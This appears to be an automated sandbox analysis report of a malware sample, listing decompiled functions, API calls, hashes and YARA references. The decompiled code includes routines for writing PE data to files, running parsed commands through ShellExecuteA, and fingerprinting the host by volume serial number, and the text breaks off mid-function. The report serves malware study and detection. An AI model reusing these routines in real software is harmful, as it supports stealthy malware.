Instruction ID: 3804347f6bd7ba573f3b83e06e35dce69dd086f5e0a34025cfebbc3953b0dfe0
Opcode Fuzzy Hash: 6f680220710ad79833a0587a74a8d4d803d4b32c880204d479e51cf724750932
Instruction Fuzzy Hash: 05F0A771240101AAD7311B24BC49B5B36A1DBC6734F258B76F3B5F21E0C67458C19B1D

Uniqueness

Uniqueness Score: -1.00%

Function 00426920, Relevance: 6.3, APIs: 4, Instructions: 326
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__nh_malloc_dbg.LIBCMTD ref: 004269AB
__nh_malloc_dbg.LIBCMTD ref: 00426AD7

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: e801212e0c2c95d419cc1fbbce87a21a01b981db3877e3b01bae515c55b67e1a
Instruction ID: 411820553f2d22dc17af03e45744dac1c7640fe34985082bf2151f00504556ba
Opcode Fuzzy Hash: e801212e0c2c95d419cc1fbbce87a21a01b981db3877e3b01bae515c55b67e1a
Instruction Fuzzy Hash: 0DE14974E04258CFDB24CFA8D890B9DBBB1BB49318F65825ED8656B392C734A842CF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406987, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00406987(void* __ecx, void* _a4, void* _a8, intOrPtr _a12, signed int _a16) {
				long _v8;
				long _v12;
				signed int _t50;
				int _t52;
				signed int _t53;
				int _t59;
				signed int _t60;
				long _t68;
				signed int _t74;
				void* _t78;
				void* _t85;

				_t78 = _a8;
				_t48 =  *((intOrPtr*)(_t78 + 0x3c)) + _t78;
				_t7 =  &_a16; // 0x406b2c
				_t85 = (( *( *((intOrPtr*)(_t78 + 0x3c)) + _t78 + 6) & 0x0000ffff) - 1) * 0x28 + ( *(_t48 + 0x14) & 0x0000ffff) + _t48 + 0x18;
				_t68 =  *(_t85 + 0x14);
				_t50 =  *_t7 - _t68;
				_v8 = _t50;
				if(_t68 >= _a12) {
					L5:
					_a16 = _a16 & 0x00000000;
				} else {
					_t74 =  *(_t85 + 0x10);
					if(_t74 == 0) {
						goto L5;
					} else {
						_v12 = _t74;
						_a16 = _t50 / _t74;
						if(_a16 < 1) {
							_a16 = 1;
						}
						_t20 =  &_a16; // 0x406b2c
						 *(_t85 + 0x10) =  *_t20 * _t74;
					}
				}
				_v8 = _v8 & 0x00000000;
				_t52 = WriteFile(_a4, _t78, _t68,  &_v8, 0); // executed
				if(_t52 == 0 || _v8 != _t68) {
					if(_a16 != 0) {
						 *(_t85 + 0x10) = _v12;
					}
					_t53 = 0;
				} else {
					if(_a16 == 0) {
						L13:
						_t53 = _t68;
					} else {
						 *(_t85 + 0x10) = _v12;
						while(1) {
							_v8 = _v8 & 0x00000000;
							_t59 = WriteFile(_a4, _a8 +  *(_t85 + 0x14), _v12,  &_v8, 0); // executed
							_t60 = _v8;
							if(_t59 == 0 || _t60 != _v12) {
								break;
							}
							_t68 = _t68 + _t60;
							_t41 =  &_a16;
							 *_t41 = _a16 - 1;
							if( *_t41 != 0) {
								continue;
							} else {
								goto L13;
							}
							goto L18;
						}
						asm("sbb eax, eax");
						_t53 =  !_t60 & _t68 + _t60;
					}
				}
				L18:
				return _t53;
			}

0x0040698f
0x00406995
0x004069a7
0x004069aa
0x004069ac
0x004069af
0x004069b1
0x004069b7
0x004069e0
0x004069e0
0x004069b9
0x004069b9
0x004069be
0x00000000
0x004069c0
0x004069c4
0x004069c7
0x004069d0
0x004069d2
0x004069d2
0x004069d5
0x004069db
0x004069db
0x004069be
0x004069e4
0x004069f9
0x004069fd
0x00406a51
0x00406a56
0x00406a56
0x00406a59
0x00406a04
0x00406a08
0x00406a3c
0x00406a3c
0x00406a0a
0x00406a0d
0x00406a10
0x00406a10
0x00406a27
0x00406a2b
0x00406a2e
0x00000000
0x00000000
0x00406a35
0x00406a37
0x00406a37
0x00406a3a
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406a3a
0x00406a45
0x00406a49
0x00406a49
0x00406a08
0x00406a5b
0x00406a5f

APIs

WriteFile.KERNELBASE(00409A60,?,?,00000000,00000000,00409A60,?,00000000), ref: 004069F9
WriteFile.KERNELBASE(00409A60,?,00409A60,00000000,00000000), ref: 00406A27

Strings

,k@, xrefs: 004069A7, 004069D5

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID: ,k@
API String ID: 3934441357-1053005162
Opcode ID: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction ID: 2e4882fff751b5905bcc38bfa2cd4d67bf9c642b42fdf425c00f27fbfd993b21
Opcode Fuzzy Hash: e4aff9389b963f63373f6495f6f2d31144d691977fa3f05a849364ed3536fcbf
Instruction Fuzzy Hash: 3A313A72A00209EFDB24DF58D984BAA77F4EB44315F12847AE802F7680D374EE64CB65

Uniqueness

Uniqueness Score: -1.00%

Function 0041B90A, Relevance: 4.6, APIs: 3, Instructions: 142
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 0041BA99
_memset.LIBCMT ref: 0041BAB6
_memset.LIBCMT ref: 0041BAD1

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _memset
String ID:
API String ID: 2102423945-0
Opcode ID: d87c2af447a1c46c083f72b15c3098b92c9980e1bcae8202fb981b826c8eb59b
Instruction ID: 0dae02f49c4a914aa276f66e782b7c95cd8013b5ebfb00072e5d1edaef3101ca
Opcode Fuzzy Hash: d87c2af447a1c46c083f72b15c3098b92c9980e1bcae8202fb981b826c8eb59b
Instruction Fuzzy Hash: 51512BB8A002088FCB48CF54DA84BD977F1FB4D314F20815AE9056B391D739AD85CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 0040EC54, Relevance: 4.5, APIs: 3, Instructions: 24
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EC54() {
				long _v8;
				struct _FILETIME _v16;
				signed int _t11;

				GetSystemTimeAsFileTime( &_v16);
				GetVolumeInformationA(0, 0, 4,  &_v8, 0, 0, 0, 0); // executed
				_t11 = (GetTickCount() ^ _v16.dwHighDateTime ^ _v8) & 0x7fffffff;
				 *0x4136cc = _t11;
				return _t11;
			}

0x0040ec5e
0x0040ec72
0x0040ec84
0x0040ec89
0x0040ec8f

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 0040EC5E
GetVolumeInformationA.KERNELBASE(00000000,00000000,00000004,?,00000000,00000000,00000000,00000000), ref: 0040EC72
GetTickCount.KERNEL32 ref: 0040EC78

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Time$CountFileInformationSystemTickVolume
String ID:
API String ID: 1209300637-0
Opcode ID: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction ID: 1673bc13977c8672636575d9c8a2f9c2942a42ce341afdc75306ae3be589e196
Opcode Fuzzy Hash: 317f96d9bc7de3e67904a91eb6120da1bd741d4a36fd8a43a77db32c5f55538a
Instruction Fuzzy Hash: 6BE0BFF5810104FFEB11EBB0EC4EEBB7BBCFB08315F504661B915D6090DAB49A448B64

Uniqueness

Uniqueness Score: -1.00%

Function 0041B70F, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 37COMMON

Download Yara Rule

Strings

QQ, xrefs: 0041B709

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID:
String ID: QQ
API String ID: 0-3460843698
Opcode ID: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction ID: 2716830d09834d4af9bafcc9e902356a93abb48486e31f85b7686e77383e22c2
Opcode Fuzzy Hash: 75285a33f3e3a8226227495b54544be31729fa98091c7b21b9d872baf7ad745d
Instruction Fuzzy Hash: FA011DB5600109EBDB04CF54D980BEB73B4EB88304F10C55AFC2A87291D338DE91DB95

Uniqueness

Uniqueness Score: -1.00%

Function 004091EB, Relevance: 3.1, APIs: 2, Instructions: 119
sleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004091EB(char* _a4, char* _a8) {
				signed int _v8;
				signed int _v12;
				char _v524;
				char _t24;
				char* _t25;
				void* _t27;
				intOrPtr* _t29;
				char* _t31;
				char _t34;
				intOrPtr _t40;
				void* _t41;
				char* _t42;
				void* _t44;
				void* _t45;
				void* _t46;

				_v12 = _v12 & 0x00000000;
				_t42 = _a8;
				_v8 = 0x10;
				if( *_t42 == 0) {
					L33:
					return _v12;
				} else {
					goto L1;
				}
				do {
					L1:
					_t31 = E0040ED03(_t42, 0xd);
					if(_t31 != 0) {
						L6:
						_t44 = _t31 - _t42;
						if(_t44 >= 0x200) {
							_t44 = 0x1ff;
						}
						E0040EE08( &_v524, _t42, _t44);
						_t46 = _t46 + 0xc;
						 *((char*)(_t45 + _t44 - 0x208)) = 0;
						if(_v524 == 0) {
							goto L27;
						} else {
							_t25 =  &_v524;
							if(_v524 != 0x20) {
								L16:
								while( *_t25 == 0x22) {
									while(1) {
										_t25 =  &(_t25[1]);
										_t34 =  *_t25;
										if(_t34 == 0) {
											break;
										}
										if(_t34 == 0x22) {
											L15:
											_t25 =  &(_t25[1]);
											goto L16;
										}
									}
									if(_t34 != 0x22) {
										L20:
										while( *_t25 != 0) {
											if( *_t25 == 0x20) {
												L22:
												 *_t25 = 0;
												do {
													_t25 =  &(_t25[1]);
												} while ( *_t25 == 0x20);
												L26:
												_t27 = ShellExecuteA(0, _a4,  &_v524, _t25, 0, 0); // executed
												_v12 = _t27;
												if(_t27 != 0x2a) {
													 *0x412180 = _v8 | 0x61080100;
													 *0x41217c = _t27;
													return _t27;
												} else {
													goto L27;
												}
												while(1) {
													L27:
													_t24 =  *_t31;
													if(_t24 != 0xd && _t24 != 0xa) {
														goto L30;
													}
													_t31 = _t31 + 1;
												}
												goto L30;
											}
											_t25 =  &(_t25[1]);
										}
										if( *_t25 != 0x20) {
											_t25 = 0;
											goto L26;
										}
										goto L22;
									}
									goto L15;
								}
								goto L20;
							} else {
								goto L10;
							}
							do {
								L10:
								_t25 =  &(_t25[1]);
							} while ( *_t25 == 0x20);
							goto L16;
						}
					}
					_t31 = E0040ED03(_t42, 0xa);
					if(_t31 != 0) {
						goto L6;
					}
					_t29 = _t42;
					_t5 = _t29 + 1; // 0x409689
					_t41 = _t5;
					do {
						_t40 =  *_t29;
						_t29 = _t29 + 1;
					} while (_t40 != 0);
					_t31 = _t29 - _t41 + _t42;
					goto L6;
					L30:
					_t42 = _t31;
					if( *_t31 != 0) {
						Sleep(0x1f4); // executed
					}
					_v8 = _v8 + 1;
				} while ( *_t31 != 0);
				goto L33;
			}

0x004091f4
0x004091fb
0x00409201
0x00409208
0x00409308
0x00000000
0x00000000
0x00000000
0x00000000
0x0040920e
0x0040920e
0x00409216
0x0040921c
0x0040923f
0x00409241
0x00409249
0x0040924b
0x0040924b
0x00409259
0x0040925e
0x00409261
0x00409270
0x00000000
0x00409272
0x00409279
0x0040927f
0x00000000
0x0040929b
0x0040928e
0x0040928e
0x0040928f
0x00409293
0x00000000
0x00000000
0x0040928c
0x0040929a
0x0040929a
0x00000000
0x0040929a
0x0040928c
0x00409298
0x00000000
0x004092a8
0x004092a5
0x004092b2
0x004092b2
0x004092b5
0x004092b5
0x004092b6
0x004092bf
0x004092cf
0x004092d5
0x004092db
0x00409319
0x0040931f
0x00000000
0x00000000
0x00000000
0x00000000
0x004092dd
0x004092dd
0x004092dd
0x004092e1
0x00000000
0x00000000
0x004092e7
0x004092e7
0x00000000
0x004092dd
0x004092a7
0x004092a7
0x004092b0
0x004092bd
0x00000000
0x004092bd
0x00000000
0x004092b0
0x00000000
0x00409298
0x00000000
0x00000000
0x00000000
0x00000000
0x00409281
0x00409281
0x00409281
0x00409282
0x00000000
0x00409287
0x00409270
0x00409226
0x0040922c
0x00000000
0x00000000
0x0040922e
0x00409230
0x00409230
0x00409233
0x00409233
0x00409235
0x00409236
0x0040923c
0x00000000
0x004092ea
0x004092ed
0x004092ef
0x004092f6
0x004092f6
0x004092fc
0x004092ff
0x00000000

APIs

ShellExecuteA.SHELL32(00000000,00000000,00000020,00000023,00000000,00000000), ref: 004092CF
Sleep.KERNELBASE(000001F4,00000000,00000000,000000C8), ref: 004092F6

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: ExecuteShellSleep
String ID:
API String ID: 4194306370-0
Opcode ID: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction ID: 162d7f392e51f347a0f03a95c4dfe3fd2355f2c09eeccb2d2824a4f222a18d72
Opcode Fuzzy Hash: c86309d44ccec62141d82a488bd432547af8b47106777d1a6e333b4945649de3
Instruction Fuzzy Hash: 7D41EE718083497EEB269664988C7E73BA49B52310F2809FFD492B72D3D7BC4D818759

Uniqueness

Uniqueness Score: -1.00%

Function 00419921, Relevance: 3.0, APIs: 2, Instructions: 39librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A1D5,?,?,?,?,0041B535,00400000,00000000,?,0000000A), ref: 00419982
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A1D5,?,?,?,?,0041B535,00400000,00000000,?,0000000A), ref: 00419A01

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction ID: a44d3fd7188d438d037021823585f88e8d970895fa3d624442d68c6aa49d3ab3
Opcode Fuzzy Hash: 6fe4be1b29b2fff6b157878c0b56705c4bb63ddac9543f36666507c4732849c4
Instruction Fuzzy Hash: 69211B2C54C7C0D9E302E738EE087453E969323769F1841A991D55A2B2C7FF21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 00419978, Relevance: 3.0, APIs: 2, Instructions: 27librarymemoryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(00441768,?,0041A1D5,?,?,?,?,0041B535,00400000,00000000,?,0000000A), ref: 00419982
VirtualProtect.KERNELBASE(00000040,00000000,?,0041A1D5,?,?,?,?,0041B535,00400000,00000000,?,0000000A), ref: 00419A01

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: LibraryLoadProtectVirtual
String ID:
API String ID: 3279857687-0
Opcode ID: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction ID: 1aa4839f38af6ffd0a5f10ae6327e5a36d7292e76679eb2ebd5643d0e20a332f
Opcode Fuzzy Hash: 4e334d535af56fa0810b7a25bb3ddb1e4e542114f86c12e4814b62ee350c1eb0
Instruction Fuzzy Hash: 0C019D2C44C3C0DDE302E738AE087413F96D727759F0841A8D1E55A2B2C7BA21A8CB3E

Uniqueness

Uniqueness Score: -1.00%

Function 004293D6, Relevance: 3.0, APIs: 2, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

___crtExitProcess.LIBCMTD ref: 004293E5

Part of subcall function 00426230: ___crtCorExitProcess.LIBCMTD ref: 00426239

RtlAllocateHeap.NTDLL(0054B04C,00000000,00000001), ref: 00429418

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: ExitProcess___crt$AllocateHeap
String ID:
API String ID: 215841669-0
Opcode ID: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction ID: 1c19a6ad4efbe99e42c0d1f9aeaaee9476c3d7bbecf3011f812299b9267ba28b
Opcode Fuzzy Hash: ab88841c96bfd5c5e774df825849cfd8fc0bd1e7f385775d39aa27ea3b064b30
Instruction Fuzzy Hash: C0E09B74F04114EBEB14AF50F8857AA37609740358F50416AF80605291D6759D86D75B

Uniqueness

Uniqueness Score: -1.00%

Function 022B0DF8, Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,022B0223,?,?), ref: 022B0E02
SetErrorMode.KERNELBASE(00000000,?,?,022B0223,?,?), ref: 022B0E07

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: c33e95a7f96807cdcfc17d761412e84db14fc352c744892f277f96dc73f6d940
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: F0D0123515512C77D7012AD4DC09BCE7B1C9F05BA6F008011FB0DD9181C7709A4046F5

Uniqueness

Uniqueness Score: -1.00%

Function 0040EBCC, Relevance: 3.0, APIs: 2, Instructions: 13
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040EBCC(long _a4) {
				void* _t3;
				void* _t7;

				_t3 = RtlAllocateHeap(GetProcessHeap(), 0, _a4); // executed
				_t7 = _t3;
				E0040EB74(_t7);
				return _t7;
			}

0x0040ebda
0x0040ebe0
0x0040ebe3
0x0040ebec

APIs

GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Part of subcall function 0040EB74: GetProcessHeap.KERNEL32(00000000,00000000,0040EC28,00000000,?,0040DB55,7FFF0001), ref: 0040EB81
Part of subcall function 0040EB74: HeapSize.KERNEL32(00000000,?,0040DB55,7FFF0001), ref: 0040EB88

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateSize
String ID:
API String ID: 2559512979-0
Opcode ID: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction ID: 42103369b453d960252fa070f8f6fdc0a0ffae9c693debdf4c74a5c852f77059
Opcode Fuzzy Hash: ee98881387dc159fbc66546a2e4b1eb81700a9f94495ef156612fafc796680c8
Instruction Fuzzy Hash: 54C0803210422077C60127A57C0CEDA3E74DF04352F084425F505C1160CB794880879D

Uniqueness

Uniqueness Score: -1.00%

Function 00406DC2, Relevance: 1.5, APIs: 1, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406DC2(void* __ecx) {
				char _v261;
				char _v264;
				long _t6;
				intOrPtr* _t10;
				int _t13;
				intOrPtr _t20;
				void* _t21;

				_t6 =  *0x412f0c; // 0x371d07e7
				if(_t6 == 0) {
					E0040EF00( &_v264, E00406CC9(__ecx));
					_t10 =  &_v264;
					_t21 = _t10 + 1;
					do {
						_t20 =  *_t10;
						_t10 = _t10 + 1;
					} while (_t20 != 0);
					if(_t10 - _t21 < 3) {
						L5:
						 *0x412f0c = 0x61616161;
					} else {
						_v261 = 0;
						_t13 = GetVolumeInformationA( &_v264, 0, 0, 0x412f0c, 0, 0, 0, 0); // executed
						if(_t13 == 0) {
							goto L5;
						}
					}
					_t6 =  *0x412f0c; // 0x371d07e7
				}
				return _t6;
			}

0x00406dc5
0x00406dd5
0x00406de4
0x00406dea
0x00406df1
0x00406df4
0x00406df4
0x00406df6
0x00406df7
0x00406e00
0x00406e24
0x00406e24
0x00406e02
0x00406e14
0x00406e1a
0x00406e22
0x00000000
0x00000000
0x00406e22
0x00406e2e
0x00406e2e
0x00406e35

APIs

Part of subcall function 00406CC9: GetModuleHandleA.KERNEL32(kernel32,GetSystemWow64DirectoryA,PromptOnSecureDesktop,000000E4,00406DDC,000000C8), ref: 00406CE7
Part of subcall function 00406CC9: GetProcAddress.KERNEL32(00000000), ref: 00406CEE
Part of subcall function 00406CC9: GetSystemDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104), ref: 00406D14
Part of subcall function 00406CC9: GetWindowsDirectoryA.KERNEL32(C:\Windows\SysWOW64\,00000104,?,00000000), ref: 00406D2B

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00412F0C,00000000,00000000,00000000,00000000,000000C8), ref: 00406E1A

Memory Dump Source

Source File: 00000011.00000002.796450954.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.796474557.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_D936.jbxd

Yara matches

Similarity

API ID: Directory$AddressHandleInformationModuleProcSystemVolumeWindows
String ID:
API String ID: 1823874839-0
Opcode ID: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction ID: 46d685041afc82653286dae93d5fe3173771f16ecf38a4b71df535c97c95e6ed
Opcode Fuzzy Hash: 345ca179d3c76e57dc7c5b3e21092807213ae32d0ff3695f39e28a6e5ad22b42
Instruction Fuzzy Hash: 55F028B9104218AFD710DB68DDC5ED777ADD704308F008476E242E3141D6B89D984B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00426994, Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

__nh_malloc_dbg.LIBCMTD ref: 004269AB
__nh_malloc_dbg.LIBCMTD ref: 00426AD7

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: __nh_malloc_dbg
String ID:
API String ID: 2526938719-0
Opcode ID: c4661c3c4858028391fa663caf891859117bd89860bf4bc4774b5178d9c8c5b6
Instruction ID: 951e902819e7afb632dacc558df55dd5b2d2f3212abb4fa1d5539e96c6b71358
Opcode Fuzzy Hash: c4661c3c4858028391fa663caf891859117bd89860bf4bc4774b5178d9c8c5b6
Instruction Fuzzy Hash: 9BE026B1F8C3089ADB308BA5AC07758B360E784B35F60832FE639366C1DBB904018F08

Uniqueness

Uniqueness Score: -1.00%

Function 00424440, Relevance: 1.5, APIs: 1, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

__encode_pointer.LIBCMTD ref: 00424447

Part of subcall function 00424370: __crt_wait_module_handle.LIBCMTD ref: 004243BC
Part of subcall function 00424370: RtlEncodePointer.NTDLL(?), ref: 004243F7

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: EncodePointer__crt_wait_module_handle__encode_pointer
String ID:
API String ID: 2010845264-0
Opcode ID: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction ID: 527ba84d6de6df00278ec2fd1ff2b5e70e6db49c76a9c59fd2fe89a260b1d2b7
Opcode Fuzzy Hash: 4910bf5801155143916dbb33b30045cd9bbeedd00758362c9e9c67699a610058
Instruction Fuzzy Hash: 54A0126264420833D00020833803B02350C83C1638E480061F90C051426852B4104097

Uniqueness

Uniqueness Score: -1.00%

Function 0041B3B0, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

___security_init_cookie.LIBCMTD ref: 0041B3B5

Part of subcall function 0041B3D0: _check_managed_app.LIBCMTD ref: 0041B44C
Part of subcall function 0041B3D0: __heap_init.LIBCMTD ref: 0041B456
Part of subcall function 0041B3D0: _fast_error_exit.LIBCMTD ref: 0041B464
Part of subcall function 0041B3D0: __mtinit.LIBCMTD ref: 0041B46C
Part of subcall function 0041B3D0: _fast_error_exit.LIBCMTD ref: 0041B477
Part of subcall function 0041B3D0: __RTC_Initialize.LIBCMTD ref: 0041B489
Part of subcall function 0041B3D0: ___crtGetEnvironmentStringsW.LIBCMTD ref: 0041B4B2
Part of subcall function 0041B3D0: ___wsetargv.LIBCMTD ref: 0041B4BC
Part of subcall function 0041B3D0: __wsetenvp.LIBCMTD ref: 0041B4CF
Part of subcall function 0041B3D0: __cinit.LIBCMTD ref: 0041B4E4
Part of subcall function 0041B3D0: __wwincmdln.LIBCMTD ref: 0041B501

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: _fast_error_exit$EnvironmentInitializeStrings___crt___security_init_cookie___wsetargv__cinit__heap_init__mtinit__wsetenvp__wwincmdln_check_managed_app
String ID:
API String ID: 3809881541-0
Opcode ID: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction ID: 544a7ef2f340702018a639a146949bd6d06a6fa22fa4db709d207cc79fbddc46
Opcode Fuzzy Hash: e1e3c77240cc01c4a133dd0e081f226c1c898797633077b20999a03fb70af3d1
Instruction Fuzzy Hash: C0A0223200020C03080033E33003A0EB20C88E0BACBC2000FB82C028032C8CB8A020EE

Uniqueness

Uniqueness Score: -1.00%

Function 022B0920, Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

TerminateProcess.KERNELBASE(000000FF,00000000), ref: 022B0929

Memory Dump Source

Source File: 00000011.00000002.797091655.00000000022B0000.00000040.00000001.sdmp, Offset: 022B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_22b0000_D936.jbxd

Yara matches

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction ID: 81cc2d85be0b363c656950924f38b6f44aec89e449adb5a9cb9224a94380d57e
Opcode Fuzzy Hash: 97ba61691119ac6c143e35c22e187454724cf2f5840cc222c11bd32825f4c7c2
Instruction Fuzzy Hash: 8B90047034415C11DD3435DC0C11F0501015745774F3007317130DD1D4DC4055003315

Uniqueness

Uniqueness Score: -1.00%

Function 00419A09, Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNELBASE(00000000,00419FCB,?,?,?,?,0041B535,00400000,00000000,?,0000000A), ref: 00419A11

Memory Dump Source

Source File: 00000011.00000002.796483921.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_D936.jbxd

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction ID: 019fb2e64a9b276ebf310d41e95adf70c6358cc02637eb6adb2296fd202f371f
Opcode Fuzzy Hash: c5652da4b9a0751b24a4bb7e442be5ed37a4c831d8d269b5dfcf17dbb6553f87
Instruction Fuzzy Hash: 12B012B94413419BC7404F60AE047403F61F306703F000020F200D0674C7700080AB05

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00407809, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226
memoryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E00407809(CHAR* _a4, signed int _a8) {
				signed int _v8;
				void* _v12;
				void* _v16;
				struct _ACL* _v20;
				signed int _v24;
				int _v28;
				long _v32;
				long _v36;
				long _v40;
				long _v44;
				int _v48;
				int _v52;
				union _SID_NAME_USE _v56;
				int _v60;
				void _v128;
				char _v384;
				char _v512;
				struct _SECURITY_DESCRIPTOR _v1536;
				struct _ACL* _t110;
				int _t120;
				intOrPtr _t121;
				signed int _t123;
				signed int _t141;
				char* _t146;
				signed int _t153;
				void* _t154;
